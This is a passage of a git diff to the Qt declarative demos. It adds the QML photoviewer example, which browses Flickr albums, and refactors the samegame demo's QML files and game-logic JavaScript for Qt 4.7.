+                name: 'fullscreen'; extend: 'inGrid'
+                PropertyChanges { target: photosGridView; interactive: false }
+                PropertyChanges { target: photosListView; interactive: true }
+                PropertyChanges { target: photosShade; opacity: 1 }
+                PropertyChanges { target: backButton; y: -backButton.height - 8 }
+            }
+            ]
+
+            GridView.onAdd: NumberAnimation { target: albumWrapper; properties: "scale"; from: 0.0; to: 1.0 }
+            GridView.onRemove: SequentialAnimation {
+                PropertyAction { target: albumWrapper; property: "GridView.delayRemove"; value: true }
+                NumberAnimation { target: albumWrapper; property: "scale"; from: 1.0; to: 0.0 }
+                PropertyAction { target: albumWrapper; property: "GridView.delayRemove"; value: false }
+            }
+
+            transitions: [
+            Transition {
+                from: '*'; to: 'inGrid'
+                SequentialAnimation {
+                    NumberAnimation { properties: 'opacity'; duration: 250 }
+                    PauseAnimation { duration: 350 }
+                    NumberAnimation { target: backButton; properties: "y"; duration: 200; easing.type: "OutQuad" }
+                }
+            },
+            Transition {
+                from: 'inGrid'; to: '*'
+                NumberAnimation { properties: "y,opacity"; easing.type: "OutQuad"; duration: 300 }
+            }
+            ]
+        }
+    }
+}
diff --git a/demos/declarative/photoviewer/PhotoViewerCore/BusyIndicator.qml b/demos/declarative/photoviewer/PhotoViewerCore/BusyIndicator.qml
new file mode 100644
index 0000000..1cad8c9
--- /dev/null
+++ b/demos/declarative/photoviewer/PhotoViewerCore/BusyIndicator.qml
@@ -0,0 +1,9 @@
+import Qt 4.7
+
+Image {
+    id: container
+    property bool on: false
+
+    source: "images/busy.png"; visible: container.on
+    NumberAnimation on rotation { running: container.on; from: 0; to: 360; loops: Animation.Infinite; duration: 1200 }
+}
diff --git a/demos/declarative/photoviewer/PhotoViewerCore/Button.qml b/demos/declarative/photoviewer/PhotoViewerCore/Button.qml
new file mode 100644
index 0000000..fd1fae9
--- /dev/null
+++ b/demos/declarative/photoviewer/PhotoViewerCore/Button.qml
@@ -0,0 +1,31 @@
+import Qt 4.7
+
+Item {
+    id: container
+
+    property alias label: labelText.text
+    property string tint: ""
+    signal clicked
+
+    width: labelText.width + 70 ; height: labelText.height + 18
+
+    BorderImage {
+        anchors { fill: container; leftMargin: -6; topMargin: -6; rightMargin: -8; bottomMargin: -8 }
+        source: 'images/box-shadow.png'; smooth: true
+        border.left: 10; border.top: 10; border.right: 10; border.bottom: 10
+    }
+
+    Image { anchors.fill: parent; source: "images/cardboard.png"; smooth: true }
+
+    Rectangle {
+        anchors.fill: container; color: container.tint; visible: container.tint != ""
+        opacity: 0.1; smooth: true
+    }
+
+    Text { id: labelText; font.pixelSize: 15; anchors.centerIn: parent; smooth: true }
+
+    MouseArea {
+        anchors { fill: parent; leftMargin: -20; topMargin: -20; rightMargin: -20; bottomMargin: -20 }
+        onClicked: container.clicked()
+    }
+}
diff --git a/demos/declarative/photoviewer/PhotoViewerCore/EditableButton.qml b/demos/declarative/photoviewer/PhotoViewerCore/EditableButton.qml
new file mode 100644
index 0000000..e435425
--- /dev/null
+++ b/demos/declarative/photoviewer/PhotoViewerCore/EditableButton.qml
@@ -0,0 +1,53 @@
+import Qt 4.7
+
+Item {
+    id: container
+
+    property string label
+    property string tint: ""
+    signal clicked
+    signal labelChanged(string label)
+
+    width: labelText.width + 70 ; height: labelText.height + 18
+
+    BorderImage {
+        anchors { fill: container; leftMargin: -6; topMargin: -6; rightMargin: -8; bottomMargin: -8 }
+        source: 'images/box-shadow.png'; smooth: true
+        border.left: 10; border.top: 10; border.right: 10; border.bottom: 10
+    }
+
+    Image { anchors.fill: parent; source: "images/cardboard.png"; smooth: true }
+
+    Rectangle {
+        anchors.fill: container; color: container.tint; visible: container.tint != ""
+        opacity: 0.1; smooth: true
+    }
+
+    Text { id: labelText; text: label; font.pixelSize: 15; anchors.centerIn: parent; smooth: true }
+
+    TextInput {
+        id: textInput; text: label; font.pixelSize: 15; anchors.centerIn: parent; smooth: true; visible: false
+        Keys.onReturnPressed: container.labelChanged(textInput.text)
+        Keys.onEscapePressed: {
+            textInput.text = labelText.text
+            container.state = ''
+        }
+    }
+
+    MouseArea {
+        anchors { fill: parent; leftMargin: -20; topMargin: -20; rightMargin: -20; bottomMargin: -20 }
+        onClicked: container.state = "editMode"
+    }
+
+    states: State {
+        name: "editMode"
+        PropertyChanges { target: container; width: textInput.width + 70; height: textInput.height + 17 }
+        PropertyChanges { target: textInput; visible: true; focus: true }
+        PropertyChanges { target: labelText; visible: false }
+    }
+
+    onLabelChanged: {
+        labelText.text = label
+        container.state = ''
+    }
+}
diff --git a/demos/declarative/photoviewer/PhotoViewerCore/PhotoDelegate.qml b/demos/declarative/photoviewer/PhotoViewerCore/PhotoDelegate.qml
new file mode 100644
index 0000000..391f433
--- /dev/null
+++ b/demos/declarative/photoviewer/PhotoViewerCore/PhotoDelegate.qml
@@ -0,0 +1,147 @@
+import Qt 4.7
+import "script/script.js" as Script
+
+Package {
+    Item { id: stackItem; Package.name: 'stack'; width: 160; height: 153; z: stackItem.PathView.z }
+    Item { id: listItem; Package.name: 'list'; width: mainWindow.width + 40; height: 153 }
+    Item { id: gridItem; Package.name: 'grid'; width: 160; height: 153 }
+
+    Item {
+        width: 160; height: 153
+
+        Item {
+            id: photoWrapper
+
+            property double randomAngle: Math.random() * (2 * 6 + 1) - 6
+            property double randomAngle2: Math.random() * (2 * 6 + 1) - 6
+
+            x: 0; y: 0; width: 140; height: 133
+            z: stackItem.PathView.z; rotation: photoWrapper.randomAngle
+
+            BorderImage {
+                anchors {
+                    fill: border.visible ? border : placeHolder
+                    leftMargin: -6; topMargin: -6; rightMargin: -8; bottomMargin: -8
+                }
+                source: 'images/box-shadow.png'; smooth: true
+                border.left: 10; border.top: 10; border.right: 10; border.bottom: 10
+            }
+            Rectangle {
+                id: placeHolder
+
+                property int w: Script.getWidth(content)
+                property int h: Script.getHeight(content)
+                property double s: Script.calculateScale(w, h, photoWrapper.width)
+
+                color: 'white'; anchors.centerIn: parent; smooth: true
+                width:  w * s; height: h * s; visible: originalImage.status != Image.Ready
+                Rectangle {
+                    color: "#878787"; smooth: true
+                    anchors { fill: parent; topMargin: 3; bottomMargin: 3; leftMargin: 3; rightMargin: 3 }
+                }
+            }
+            Rectangle {
+                id: border; color: 'white'; anchors.centerIn: parent; smooth: true
+                width: originalImage.paintedWidth + 6; height: originalImage.paintedHeight + 6
+                visible: !placeHolder.visible
+            }
+            BusyIndicator { anchors.centerIn: parent; on: originalImage.status != Image.Ready }
+            Image {
+                id: originalImage; smooth: true; source: "http://" + Script.getImagePath(content)
+                fillMode: Image.PreserveAspectFit; width: photoWrapper.width; height: photoWrapper.height
+            }
+            Image {
+                id: hqImage; smooth: true; source: ""; visible: false
+                fillMode: Image.PreserveAspectFit; width: photoWrapper.width; height: photoWrapper.height
+            }
+            Binding {
+                target: mainWindow; property: "downloadProgress"; value: hqImage.progress
+                when: listItem.ListView.isCurrentItem
+            }
+            Binding {
+                target: mainWindow; property: "imageLoading"
+                value: (hqImage.status == Image.Loading) ? 1 : 0; when: listItem.ListView.isCurrentItem
+            }
+            MouseArea {
+                width: originalImage.paintedWidth; height: originalImage.paintedHeight; anchors.centerIn: originalImage
+                onClicked: {
+                    if (albumWrapper.state == 'inGrid') {
+                        gridItem.GridView.view.currentIndex = index;
+                        albumWrapper.state = 'fullscreen'
+                    } else {
+                        gridItem.GridView.view.currentIndex = index;
+                        albumWrapper.state = 'inGrid'
+                    }
+                }
+            }
+
+            states: [
+            State {
+                name: 'stacked'; when: albumWrapper.state == ''
+                ParentChange { target: photoWrapper; parent: stackItem; x: 10; y: 10 }
+                PropertyChanges { target: photoWrapper; opacity: stackItem.PathView.onPath ? 1.0 : 0.0 }
+            },
+            State {
+                name: 'inGrid'; when: albumWrapper.state == 'inGrid'
+                ParentChange { target: photoWrapper; parent: gridItem; x: 10; y: 10; rotation: photoWrapper.randomAngle2 }
+            },
+            State {
+                name: 'fullscreen'; when: albumWrapper.state == 'fullscreen'
+                ParentChange {
+                    target: photoWrapper; parent: listItem; x: 0; y: 0; rotation: 0
+                    width: mainWindow.width; height: mainWindow.height
+                }
+                PropertyChanges { target: border; opacity: 0 }
+                PropertyChanges { target: hqImage; source: listItem.ListView.isCurrentItem ? hq : ""; visible: true }
+            }
+            ]
+
+            transitions: [
+            Transition {
+                from: 'stacked'; to: 'inGrid'
+                SequentialAnimation {
+                    PauseAnimation { duration: 10 * index }
+                    ParentAnimation {
+                        target: photoWrapper; via: foreground
+                        NumberAnimation {
+                            target: photoWrapper; properties: 'x,y,rotation,opacity'; duration: 600; easing.type: 'OutQuart'
+                        }
+                    }
+                }
+            },
+            Transition {
+                from: 'inGrid'; to: 'stacked'
+                ParentAnimation {
+                    target: photoWrapper; via: foreground
+                    NumberAnimation { properties: 'x,y,rotation,opacity'; duration: 600; easing.type: 'OutQuart' }
+                }
+            },
+            Transition {
+                from: 'inGrid'; to: 'fullscreen'
+                SequentialAnimation {
+                    PauseAnimation { duration: gridItem.GridView.isCurrentItem ? 0 : 600 }
+                    ParentAnimation {
+                        target: photoWrapper; via: foreground
+                        NumberAnimation {
+                            targets: [ photoWrapper, border ]
+                            properties: 'x,y,width,height,opacity,rotation'
+                            duration: gridItem.GridView.isCurrentItem ? 600 : 1; easing.type: 'OutQuart'
+                        }
+                    }
+                }
+            },
+            Transition {
+                from: 'fullscreen'; to: 'inGrid'
+                ParentAnimation {
+                    target: photoWrapper; via: foreground
+                    NumberAnimation {
+                        targets: [ photoWrapper, border ]
+                        properties: 'x,y,width,height,rotation,opacity'
+                        duration: gridItem.GridView.isCurrentItem ? 600 : 1; easing.type: 'OutQuart'
+                    }
+                }
+            }
+            ]
+        }
+    }
+}
diff --git a/demos/declarative/photoviewer/PhotoViewerCore/ProgressBar.qml b/demos/declarative/photoviewer/PhotoViewerCore/ProgressBar.qml
new file mode 100644
index 0000000..d09532e
--- /dev/null
+++ b/demos/declarative/photoviewer/PhotoViewerCore/ProgressBar.qml
@@ -0,0 +1,16 @@
+import Qt 4.7
+
+Item {
+    id: container
+
+    property real progress: 0
+
+    Behavior on opacity { NumberAnimation { duration: 600 } }
+
+    Rectangle { anchors.fill: parent; color: "black"; opacity: 0.5 }
+
+    Rectangle {
+        id: fill; color: "white"; height: container.height
+        width: container.width * container.progress
+    }
+}
diff --git a/demos/declarative/photoviewer/PhotoViewerCore/RssModel.qml b/demos/declarative/photoviewer/PhotoViewerCore/RssModel.qml
new file mode 100644
index 0000000..53d9819
--- /dev/null
+++ b/demos/declarative/photoviewer/PhotoViewerCore/RssModel.qml
@@ -0,0 +1,13 @@
+import Qt 4.7
+
+XmlListModel {
+    property string tags : ""
+
+    source: "http://api.flickr.com/services/feeds/photos_public.gne?"+(tags ? "tags="+tags+"&" : "")
+    query: "/feed/entry"
+    namespaceDeclarations: "declare default element namespace 'http://www.w3.org/2005/Atom';"
+
+    XmlRole { name: "title"; query: "title/string()" }
+    XmlRole { name: "content"; query: "content/string()" }
+    XmlRole { name: "hq"; query: "link[@rel='enclosure']/@href/string()" }
+}
diff --git a/demos/declarative/photoviewer/PhotoViewerCore/Tag.qml b/demos/declarative/photoviewer/PhotoViewerCore/Tag.qml
new file mode 100644
index 0000000..2722ac3
--- /dev/null
+++ b/demos/declarative/photoviewer/PhotoViewerCore/Tag.qml
@@ -0,0 +1,50 @@
+import Qt 4.7
+
+Flipable {
+    id: flipable
+
+    property alias frontLabel: frontButton.label
+    property alias backLabel: backButton.label
+
+    property int angle: 0
+    property int randomAngle: Math.random() * (2 * 6 + 1) - 6
+    property bool flipped: false
+
+    signal frontClicked
+    signal backClicked
+    signal tagChanged(string tag)
+
+    front: EditableButton {
+        id: frontButton; rotation: flipable.randomAngle
+        anchors { centerIn: parent; verticalCenterOffset: -20 }
+        onClicked: flipable.frontClicked()
+        onLabelChanged: flipable.tagChanged(label)
+    }
+
+    back: Button {
+        id: backButton; tint: "red"; rotation: flipable.randomAngle
+        anchors { centerIn: parent; verticalCenterOffset: -20 }
+        onClicked: flipable.backClicked()
+    }
+
+    transform: Rotation {
+        origin.x: flipable.width / 2; origin.y: flipable.height / 2
+        axis.x: 0; axis.y: 1; axis.z: 0
+        angle: flipable.angle
+    }
+
+    states: State {
+        name: "back"; when: flipable.flipped
+        PropertyChanges { target: flipable; angle: 180 }
+    }
+
+    transitions: Transition {
+        ParallelAnimation {
+            NumberAnimation { properties: "angle"; duration: 400 }
+            SequentialAnimation {
+                NumberAnimation { target: flipable; property: "scale"; to: 0.8; duration: 200 }
+                NumberAnimation { target: flipable; property: "scale"; to: 1.0; duration: 200 }
+            }
+        }
+    }
+}
diff --git a/demos/declarative/photoviewer/PhotoViewerCore/images/box-shadow.png b/demos/declarative/photoviewer/PhotoViewerCore/images/box-shadow.png
new file mode 100644
index 0000000..431af85
--- /dev/null
+++ b/demos/declarative/photoviewer/PhotoViewerCore/images/box-shadow.png
diff --git a/demos/declarative/photoviewer/PhotoViewerCore/images/busy.png b/demos/declarative/photoviewer/PhotoViewerCore/images/busy.png
new file mode 100644
index 0000000..664c2b1
--- /dev/null
+++ b/demos/declarative/photoviewer/PhotoViewerCore/images/busy.png
diff --git a/demos/declarative/photoviewer/PhotoViewerCore/images/cardboard.png b/demos/declarative/photoviewer/PhotoViewerCore/images/cardboard.png
new file mode 100644
index 0000000..1847ab5
--- /dev/null
+++ b/demos/declarative/photoviewer/PhotoViewerCore/images/cardboard.png
diff --git a/demos/declarative/photoviewer/PhotoViewerCore/qmldir b/demos/declarative/photoviewer/PhotoViewerCore/qmldir
new file mode 100644
index 0000000..d3c247f
--- /dev/null
+++ b/demos/declarative/photoviewer/PhotoViewerCore/qmldir
@@ -0,0 +1,8 @@
+AlbumDelegate AlbumDelegate.qml
+PhotoDelegate PhotoDelegate.qml
+ProgressBar ProgressBar.qml
+RssModel RssModel.qml
+BusyIndicator BusyIndicator.qml
+EditableButton EditableButton.qml
+Button Button.qml
+Tag Tag.qml
diff --git a/demos/declarative/photoviewer/PhotoViewerCore/script/script.js b/demos/declarative/photoviewer/PhotoViewerCore/script/script.js
new file mode 100644
index 0000000..e8ef93a
--- /dev/null
+++ b/demos/declarative/photoviewer/PhotoViewerCore/script/script.js
@@ -0,0 +1,27 @@
+.pragma library
+
+function getWidth(string) {
+    return (string.match(/width=\"([0-9]+)\"/))[1]
+}
+
+function getHeight(string) {
+    return (string.match(/height=\"([0-9]+)\"/))[1]
+}
+
+function getImagePath(string) {
+    var pattern = /src=\"http:\/\/(\S+)\"/
+    return (string.match(pattern))[1]
+}
+
+function calculateScale(width, height, cellSize) {
+    var widthScale = (cellSize * 1.0) / width
+    var heightScale = (cellSize * 1.0) / height
+    var scale = 0
+
+    if (widthScale <= heightScale) {
+        scale = widthScale;
+    } else if (heightScale < widthScale) {
+        scale = heightScale;
+    }
+    return scale;
+}
diff --git a/demos/declarative/photoviewer/photoviewer.qml b/demos/declarative/photoviewer/photoviewer.qml
new file mode 100644
index 0000000..4094294
--- /dev/null
+++ b/demos/declarative/photoviewer/photoviewer.qml
@@ -0,0 +1,64 @@
+import Qt 4.7
+import "PhotoViewerCore"
+
+Rectangle {
+    id: mainWindow
+
+    property real downloadProgress: 0
+    property bool imageLoading: false
+    property bool editMode: false
+
+    width: 800; height: 480; color: "#d5d6d8"
+
+    ListModel {
+        id: photosModel
+        ListElement { tag: "Flowers" }
+        ListElement { tag: "Wildlife" }
+        ListElement { tag: "Prague" }
+    }
+
+    VisualDataModel { id: albumVisualModel; model: photosModel; delegate: AlbumDelegate {} }
+
+    GridView {
+        id: albumView; width: parent.width; height: parent.height; cellWidth: 210; cellHeight: 220
+        model: albumVisualModel.parts.album; visible: albumsShade.opacity != 1.0
+    }
+
+    Column {
+        spacing: 20; anchors { bottom: parent.bottom; right: parent.right; rightMargin: 20; bottomMargin: 20 }
+        Button {
+            id: newButton; label: "New"; rotation: 3
+            anchors.horizontalCenter: parent.horizontalCenter
+            onClicked: {
+                mainWindow.editMode = false
+                photosModel.append( { tag: "" } )
+                albumView.positionViewAtIndex(albumView.count - 1, GridView.Contain)
+            }
+        }
+        Button {
+            id: deleteButton; label: "Delete"; rotation: -2;
+            onClicked: mainWindow.editMode = !mainWindow.editMode
+            anchors.horizontalCenter: parent.horizontalCenter
+        }
+    }
+
+    Rectangle {
+        id: albumsShade; color: mainWindow.color
+        width: parent.width; height: parent.height; opacity: 0.0
+    }
+
+    ListView { anchors.fill: parent; model: albumVisualModel.parts.browser; interactive: false }
+
+    Button { id: backButton; label: "Back"; rotation: 3; x: parent.width - backButton.width - 6; y: -backButton.height - 8 }
+
+    Rectangle { id: photosShade; color: 'black'; width: parent.width; height: parent.height; opacity: 0; visible: opacity != 0.0 }
+
+    ListView { anchors.fill: parent; model: albumVisualModel.parts.fullscreen; interactive: false }
+
+    Item { id: foreground; anchors.fill: parent }
+
+    ProgressBar {
+        progress: mainWindow.downloadProgress; width: parent.width; height: 4
+        anchors.bottom: parent.bottom; opacity: mainWindow.imageLoading; visible: opacity != 0.0
+    }
+}
diff --git a/demos/declarative/samegame/SamegameCore/BoomBlock.qml b/demos/declarative/samegame/SamegameCore/BoomBlock.qml
index e48194a..bad1bf4 100644
--- a/demos/declarative/samegame/SamegameCore/BoomBlock.qml
+++ b/demos/declarative/samegame/SamegameCore/BoomBlock.qml
@@ -1,4 +1,5 @@
-import Qt 4.6
+import Qt 4.7
+import Qt.labs.particles 1.0
 
 Item { id:block
     property bool dying: false
@@ -7,8 +8,8 @@ Item { id:block
     property int targetX: 0
     property int targetY: 0
 
-    SpringFollow on x { enabled: spawned; source: targetX; spring: 2; damping: 0.2 }
-    SpringFollow on y { source: targetY; spring: 2; damping: 0.2 }
+    SpringFollow on x { enabled: spawned; to: targetX; spring: 2; damping: 0.2 }
+    SpringFollow on y { to: targetY; spring: 2; damping: 0.2 }
 
     Image { id: img
         source: {
@@ -25,12 +26,16 @@ Item { id:block
         anchors.fill: parent
     }
 
-    Particles { id: particles
-        width:1; height:1; anchors.centerIn: parent;
-        emissionRate: 0;
-        lifeSpan: 700; lifeSpanDeviation: 600;
+    Particles { 
+        id: particles
+
+        width: 1; height: 1 
+        anchors.centerIn: parent
+
+        emissionRate: 0
+        lifeSpan: 700; lifeSpanDeviation: 600
         angle: 0; angleDeviation: 360;
-        velocity: 100; velocityDeviation:30;
+        velocity: 100; velocityDeviation: 30
         source: {
             if(type == 0){
                 "pics/redStar.png";
@@ -43,10 +48,13 @@ Item { id:block
     }
 
     states: [
-        State{ name: "AliveState"; when: spawned == true && dying == false
+        State {
+            name: "AliveState"; when: spawned == true && dying == false
             PropertyChanges { target: img; opacity: 1 }
         },
-        State{ name: "DeathState"; when: dying == true
+
+        State {
+            name: "DeathState"; when: dying == true
             StateChangeScript { script: particles.burst(50); }
             PropertyChanges { target: img; opacity: 0 }
             StateChangeScript { script: block.destroy(1000); }
diff --git a/demos/declarative/samegame/SamegameCore/Button.qml b/demos/declarative/samegame/SamegameCore/Button.qml
index 6629302..0faabc9 100644
--- a/demos/declarative/samegame/SamegameCore/Button.qml
+++ b/demos/declarative/samegame/SamegameCore/Button.qml
@@ -1,25 +1,34 @@
-import Qt 4.6
+import Qt 4.7
 
 Rectangle {
     id: container
 
-    signal clicked
     property string text: "Button"
 
-    color: activePalette.button; smooth: true
-    width: txtItem.width + 20; height: txtItem.height + 6
-    border.width: 1; border.color: Qt.darker(activePalette.button); radius: 8;
+    signal clicked
+
+    width: buttonLabel.width + 20; height: buttonLabel.height + 6
+    smooth: true
+    border { width: 1; color: Qt.darker(activePalette.button) }
+    radius: 8
+    color: activePalette.button
 
     gradient: Gradient {
         GradientStop {
-            id: topGrad; position: 0.0
-            color: if (mr.pressed) { activePalette.dark } else { activePalette.light } }
+            position: 0.0
+            color: {
+                if (mouseArea.pressed) 
+                    return activePalette.dark
+                else 
+                    return activePalette.light
+            }
+        }
         GradientStop { position: 1.0; color: activePalette.button }
     }
 
-    MouseArea { id: mr; anchors.fill: parent; onClicked: container.clicked() }
+    MouseArea { id: mouseArea; anchors.fill: parent; onClicked: container.clicked() }
 
     Text {
-        id: txtItem; text: container.text; anchors.centerIn: container; color: activePalette.buttonText
+        id: buttonLabel; text: container.text; anchors.centerIn: container; color: activePalette.buttonText
     }
 }
diff --git a/demos/declarative/samegame/SamegameCore/Dialog.qml b/demos/declarative/samegame/SamegameCore/Dialog.qml
index 6d5d6b5..8784348 100644
--- a/demos/declarative/samegame/SamegameCore/Dialog.qml
+++ b/demos/declarative/samegame/SamegameCore/Dialog.qml
@@ -1,22 +1,33 @@
-import Qt 4.6
+import Qt 4.7
 
 Rectangle {
     id: page
+
+    property Item text: dialogText
+
+    signal closed
+
     function forceClose() {
         page.closed();
         page.opacity = 0;
     }
+
     function show(txt) {
-        myText.text = txt;
+        dialogText.text = txt;
         page.opacity = 1;
     }
-    signal closed();
-    property Item text: myText
-    color: "white"; border.width: 1; width: myText.width + 20; height: myText.height + 40;
+
+    width: dialogText.width + 20; height: dialogText.height + 20
+    color: "white"
+    border.width: 1
     opacity: 0
-    Behavior on opacity {
+
+    Behavior on opacity { 
         NumberAnimation { duration: 1000 }
     }
-    Text { id: myText; anchors.centerIn: parent; text: "Hello World!" }
-    MouseArea { id: mr; anchors.fill: parent; onClicked: forceClose(); }
+
+    Text { id: dialogText; anchors.centerIn: parent; text: "Hello World!" }
+
+    MouseArea { anchors.fill: parent; onClicked: forceClose(); }
 }
+
diff --git a/demos/declarative/samegame/SamegameCore/qmldir b/demos/declarative/samegame/SamegameCore/qmldir
index a8f8a98..e17b1f5 100644
--- a/demos/declarative/samegame/SamegameCore/qmldir
+++ b/demos/declarative/samegame/SamegameCore/qmldir
@@ -1,3 +1,3 @@
-BoomBlock 0.0 BoomBlock.qml
-Button 0.0 Button.qml
-Dialog 0.0 Dialog.qml
+BoomBlock BoomBlock.qml
+Button Button.qml
+Dialog Dialog.qml
diff --git a/demos/declarative/samegame/SamegameCore/samegame.js b/demos/declarative/samegame/SamegameCore/samegame.js
index 1214b79..3888381 100755
--- a/demos/declarative/samegame/SamegameCore/samegame.js
+++ b/demos/declarative/samegame/SamegameCore/samegame.js
@@ -1,18 +1,18 @@
 /* This script file handles the game logic */
-//Note that X/Y referred to here are in game coordinates
-var maxX = 10;//Nums are for gameCanvas.tileSize 40
-var maxY = 15;
-var maxIndex = maxX*maxY;
+
+var maxColumn = 10;
+var maxRow = 15;
+var maxIndex = maxColumn*maxRow;
 var board = new Array(maxIndex);
-var tileSrc = "SamegameCore/BoomBlock.qml";
+var blockSrc = "SamegameCore/BoomBlock.qml";
 var scoresURL = "http://qtfx-nokia.trolltech.com.au/samegame/scores.php";
 var scoresURL = "";
-var timer;
-var component = createComponent(tileSrc);
+var gameDuration;
+var component = createComponent(blockSrc);
 
 //Index function used instead of a 2D array
-function index(xIdx,yIdx) {
-    return xIdx + (yIdx * maxX);
+function index(column,row) {
+    return column + (row * maxColumn);
 }
 
 function timeStr(msecs) {
@@ -22,56 +22,48 @@ function timeStr(msecs) {
     return ret;
 }
 
-function getTileSize()
-{
-    return tileSize;
-}
-
-function initBoard()
+function startNewGame()
 {
+    //Delete blocks from previous game
     for(var i = 0; i<maxIndex; i++){
-        //Delete old blocks
         if(board[i] != null)
             board[i].destroy();
     }
 
     //Calculate board size
-    maxX = Math.floor(gameCanvas.width/gameCanvas.tileSize);
-    maxY = Math.floor(gameCanvas.height/gameCanvas.tileSize);
-    maxIndex = maxY*maxX;
+    maxColumn = Math.floor(gameCanvas.width/gameCanvas.blockSize);
+    maxRow = Math.floor(gameCanvas.height/gameCanvas.blockSize);
+    maxIndex = maxRow*maxColumn;
 
     //Close dialogs
-    scoreName.forceClose();
+    nameInputDialog.forceClose();
     dialog.forceClose();
 
-    var a = new Date();
     //Initialize Board
     board = new Array(maxIndex);
     gameCanvas.score = 0;
-    for(var xIdx=0; xIdx<maxX; xIdx++){
-        for(var yIdx=0; yIdx<maxY; yIdx++){
-            board[index(xIdx,yIdx)] = null;
-            createBlock(xIdx,yIdx);
+    for(var column=0; column<maxColumn; column++){
+        for(var row=0; row<maxRow; row++){
+            board[index(column,row)] = null;
+            createBlock(column,row);
         }
     }
-    timer = new Date();
-
-    //print(timer.valueOf() - a.valueOf());
+    gameDuration = new Date();
 }
 
-var fillFound;//Set after a floodFill call to the number of tiles found
+var fillFound;//Set after a floodFill call to the number of blocks found
 var floodBoard;//Set to 1 if the floodFill reaches off that node
 //NOTE: Be careful with vars named x,y, as the calling object's x,y are still in scope
 function handleClick(x,y)
 {
-    var xIdx = Math.floor(x/gameCanvas.tileSize);
-    var yIdx = Math.floor(y/gameCanvas.tileSize);
-    if(xIdx >= maxX || xIdx < 0 || yIdx >= maxY || yIdx < 0)
+    var column = Math.floor(x/gameCanvas.blockSize);
+    var row = Math.floor(y/gameCanvas.blockSize);
+    if(column >= maxColumn || column < 0 || row >= maxRow || row < 0)
         return;
-    if(board[index(xIdx, yIdx)] == null)
+    if(board[index(column, row)] == null)
         return;
-    //If it's a valid tile, remove it and all connected (does nothing if it's not connected)
-    floodFill(xIdx,yIdx, -1);
+    //If it's a valid block, remove it and all connected (does nothing if it's not connected)
+    floodFill(column,row, -1);
     if(fillFound <= 0)
         return;
     gameCanvas.score += (fillFound - 1) * (fillFound - 1);
@@ -79,67 +71,67 @@ function handleClick(x,y)
     victoryCheck();
 }
 
-function floodFill(xIdx,yIdx,type)
+function floodFill(column,row,type)
 {
-    if(board[index(xIdx, yIdx)] == null)
+    if(board[index(column, row)] == null)
         return;
     var first = false;
     if(type == -1){
         first = true;
-        type = board[index(xIdx,yIdx)].type;
+        type = board[index(column,row)].type;
         
         //Flood fill initialization
         fillFound = 0;
         floodBoard = new Array(maxIndex);
     }
-    if(xIdx >= maxX || xIdx < 0 || yIdx >= maxY || yIdx < 0)
+    if(column >= maxColumn || column < 0 || row >= maxRow || row < 0)
         return;
-    if(floodBoard[index(xIdx, yIdx)] == 1 || (!first && type != board[index(xIdx,yIdx)].type))
+    if(floodBoard[index(column, row)] == 1 || (!first && type != board[index(column,row)].type))
         return;
-    floodBoard[index(xIdx, yIdx)] = 1;
-    floodFill(xIdx+1,yIdx,type);
-    floodFill(xIdx-1,yIdx,type);
-    floodFill(xIdx,yIdx+1,type);
-    floodFill(xIdx,yIdx-1,type);
+    floodBoard[index(column, row)] = 1;
+    floodFill(column+1,row,type);
+    floodFill(column-1,row,type);
+    floodFill(column,row+1,type);
+    floodFill(column,row-1,type);
     if(first==true && fillFound == 0)
-        return;//Can't remove single tiles
-    board[index(xIdx,yIdx)].dying = true;
-    board[index(xIdx,yIdx)] = null;
+        return;//Can't remove single blocks
+    board[index(column,row)].dying = true;
+    board[index(column,row)] = null;
     fillFound += 1;
 }
 
 function shuffleDown()
 {
     //Fall down
-    for(var xIdx=0; xIdx<maxX; xIdx++){
+    for(var column=0; column<maxColumn; column++){
         var fallDist = 0;
-        for(var yIdx=maxY-1; yIdx>=0; yIdx--){
-            if(board[index(xIdx,yIdx)] == null){
+        for(var row=maxRow-1; row>=0; row--){
+            if(board[index(column,row)] == null){
                 fallDist += 1;
             }else{
                 if(fallDist > 0){
-                    var obj = board[index(xIdx,yIdx)];
-                    obj.targetY += fallDist * gameCanvas.tileSize;
-                    board[index(xIdx,yIdx+fallDist)] = obj;
-                    board[index(xIdx,yIdx)] = null;
+                    var obj = board[index(column,row)];
+                    obj.targetY += fallDist * gameCanvas.blockSize;
+                    board[index(column,row+fallDist)] = obj;
+                    board[index(column,row)] = null;
                 }
             }
         }
     }
     //Fall to the left
     fallDist = 0;
-    for(xIdx=0; xIdx<maxX; xIdx++){
-        if(board[index(xIdx, maxY - 1)] == null){
+    for(column=0; column<maxColumn; column++){
+        if(board[index(column, maxRow - 1)] == null){
             fallDist += 1;
         }else{
             if(fallDist > 0){
-                for(yIdx=0; yIdx<maxY; yIdx++){
-                    obj = board[index(xIdx,yIdx)];
+                for(row=0; row<maxRow; row++){
+                    obj = board[index(column,row)];
                     if(obj == null)
                         continue;
-                    obj.targetX -= fallDist * gameCanvas.tileSize;
-                    board[index(xIdx-fallDist,yIdx)] = obj;
-                    board[index(xIdx,yIdx)] = null;
+                    obj.targetX -= fallDist * gameCanvas.blockSize;
+                    board[index(column-fallDist,row)] = obj;
+                    board[index(column,row)] = null;
                 }
             }
         }
@@ -148,40 +140,38 @@ function shuffleDown()
 
 function victoryCheck()
 {
-    //awards bonuses for no tiles left
+    //awards bonuses for no blocks left
     var deservesBonus = true;
-    for(var xIdx=maxX-1; xIdx>=0; xIdx--)
-        if(board[index(xIdx, maxY - 1)] != null)
+    for(var column=maxColumn-1; column>=0; column--)
+        if(board[index(column, maxRow - 1)] != null)
             deservesBonus = false;
     if(deservesBonus)
         gameCanvas.score += 500;
     //Checks for game over
-    if(deservesBonus || !(floodMoveCheck(0,maxY-1, -1))){
-        timer = new Date() - timer;
-        //scoreName.show("You won! Please enter your name:                 ");
-        scoreName.show("You won! Please enter your name:                 ");
-        scoreName.initialWidth = scoreName.text.width + 20;
-        scoreName.width = scoreName.initialWidth;
-        scoreName.text.opacity = 0;//Just a spacer
-        //dialog.show("Game Over. Your score is " + gameCanvas.score);
+    if(deservesBonus || !(floodMoveCheck(0,maxRow-1, -1))){
+        gameDuration = new Date() - gameDuration;
+        nameInputDialog.show("You won! Please enter your name:                 ");
+        nameInputDialog.initialWidth = nameInputDialog.text.width + 20;
+        nameInputDialog.width = nameInputDialog.initialWidth;
+        nameInputDialog.text.opacity = 0;//Just a spacer
     }
 }
 
-//only floods up and right, to see if it can find adjacent same-typed tiles 
-function floodMoveCheck(xIdx, yIdx, type)
+//only floods up and right, to see if it can find adjacent same-typed blocks 
+function floodMoveCheck(column, row, type)
 {
